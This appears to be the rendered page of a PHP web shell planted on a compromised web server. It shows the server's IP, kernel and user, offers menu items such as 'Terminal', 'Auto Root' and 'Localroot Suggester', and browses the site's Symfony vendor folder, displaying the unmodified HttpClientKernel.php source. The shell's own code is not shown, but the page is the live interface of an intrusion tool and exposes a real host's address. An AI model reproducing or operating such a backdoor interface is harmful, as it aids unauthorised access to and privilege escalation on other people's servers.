Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.219.203.214
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp_probe /
vendor /
symfony /
http-kernel /
Delete
Unzip
Name
Size
Permission
Date
Action
Bundle
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
CacheClearer
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
CacheWarmer
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
Config
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
Controller
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
ControllerMetadata
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
DataCollector
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
Debug
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
DependencyInjection
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
Event
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
EventListener
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
Exception
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
Fragment
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
HttpCache
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
Log
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
Profiler
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
Resources
[ DIR ]
drwxr-xr-x
2021-01-27 13:50
CHANGELOG.md
12.35
KB
-rw-r--r--
2021-01-27 13:50
Client.php
6.01
KB
-rw-r--r--
2021-01-27 13:50
HttpClientKernel.php
3.82
KB
-rw-r--r--
2021-01-27 13:50
HttpKernel.php
10.08
KB
-rw-r--r--
2021-01-27 13:50
HttpKernelBrowser.php
662
B
-rw-r--r--
2021-01-27 13:50
HttpKernelInterface.php
1.24
KB
-rw-r--r--
2021-01-27 13:50
Kernel.php
29.81
KB
-rw-r--r--
2021-01-27 13:50
KernelEvents.php
3.06
KB
-rw-r--r--
2021-01-27 13:50
KernelInterface.php
3.97
KB
-rw-r--r--
2021-01-27 13:50
LICENSE
1.04
KB
-rw-r--r--
2021-01-27 13:50
README.md
700
B
-rw-r--r--
2021-01-27 13:50
RebootableInterface.php
779
B
-rw-r--r--
2021-01-27 13:50
TerminableInterface.php
910
B
-rw-r--r--
2021-01-27 13:50
UriSigner.php
2.83
KB
-rw-r--r--
2021-01-27 13:50
composer.json
2.25
KB
-rw-r--r--
2021-01-27 13:50
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel; use Symfony\Component\HttpClient\HttpClient; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\ResponseHeaderBag; use Symfony\Component\Mime\Part\AbstractPart; use Symfony\Component\Mime\Part\DataPart; use Symfony\Component\Mime\Part\Multipart\FormDataPart; use Symfony\Component\Mime\Part\TextPart; use Symfony\Contracts\HttpClient\HttpClientInterface; // Help opcache.preload discover always-needed symbols class_exists(ResponseHeaderBag::class); /** * An implementation of a Symfony HTTP kernel using a "real" HTTP client. * * @author Fabien Potencier <fabien@symfony.com> */ final class HttpClientKernel implements HttpKernelInterface { private $client; public function __construct(HttpClientInterface $client = null) { if (null === $client && !class_exists(HttpClient::class)) { throw new \LogicException(sprintf('You cannot use "%s" as the HttpClient component is not installed. Try running "composer require symfony/http-client".', __CLASS__)); } $this->client = $client ?? HttpClient::create(); } public function handle(Request $request, $type = HttpKernelInterface::MASTER_REQUEST, $catch = true): Response { $headers = $this->getHeaders($request); $body = ''; if (null !== $part = $this->getBody($request)) { $headers = array_merge($headers, $part->getPreparedHeaders()->toArray()); $body = $part->bodyToIterable(); } $response = $this->client->request($request->getMethod(), $request->getUri(), [ 'headers' => $headers, 'body' => $body, ] + $request->attributes->get('http_client_options', [])); $response = new Response($response->getContent(!$catch), $response->getStatusCode(), $response->getHeaders(!$catch)); $response->headers->remove('X-Body-File'); $response->headers->remove('X-Body-Eval'); $response->headers->remove('X-Content-Digest'); $response->headers = new class($response->headers->all()) extends ResponseHeaderBag { protected function computeCacheControlValue(): string { return $this->getCacheControlHeader(); // preserve the original value } }; return $response; } private function getBody(Request $request): ?AbstractPart { if (\in_array($request->getMethod(), ['GET', 'HEAD'])) { return null; } if (!class_exists(AbstractPart::class)) { throw new \LogicException('You cannot pass non-empty bodies as the Mime component is not installed. Try running "composer require symfony/mime".'); } if ($content = $request->getContent()) { return new TextPart($content, 'utf-8', 'plain', '8bit'); } $fields = $request->request->all(); foreach ($request->files->all() as $name => $file) { $fields[$name] = DataPart::fromPath($file->getPathname(), $file->getClientOriginalName(), $file->getClientMimeType()); } return new FormDataPart($fields); } private function getHeaders(Request $request): array { $headers = []; foreach ($request->headers as $key => $value) { $headers[$key] = $value; } $cookies = []; foreach ($request->cookies->all() as $name => $value) { $cookies[] = $name.'='.$value; } if ($cookies) { $headers['cookie'] = implode('; ', $cookies); } return $headers; } }